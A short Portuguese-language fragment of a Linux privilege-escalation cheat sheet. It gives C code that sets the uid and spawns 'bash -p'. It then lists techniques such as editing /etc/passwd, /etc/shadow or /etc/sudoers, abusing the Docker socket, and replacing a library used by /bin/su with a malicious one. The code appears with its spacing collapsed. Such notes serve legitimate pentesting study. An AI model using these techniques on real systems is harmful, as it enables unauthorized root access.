// Privesc to user id: 1000#define_GNU_SOURCE#include<stdlib.h>#include<unistd.h>intmain(void) {char*const paramList[10] = {"/bin/bash","-p",NULL};constint id =1000;setresuid(id, id, id);execve(paramList[0], paramList,NULL);return0;}
Sobrescrevendo um arquivo para escalar privilégios
Arquivos comuns
Adicionar usuário com senha em /etc/passwd
Alterar senha dentro de /etc/shadow
Adicionar usuário aos sudoers em /etc/sudoers
Abusar do docker através do socket do docker, geralmente em /run/docker.sock ou /var/run/docker.sock
Sobrescrevendo uma biblioteca
Verifique uma biblioteca usada por algum binário, neste caso /bin/su:
Os símbolos audit_open, audit_log_acct_message, audit_log_acct_message e audit_fd provavelmente são da biblioteca libaudit.so.1. Como a libaudit.so.1 será sobrescrita pela biblioteca compartilhada maliciosa, esses símbolos devem estar presentes na nova biblioteca compartilhada, caso contrário, o programa não conseguirá encontrar o símbolo e sairá.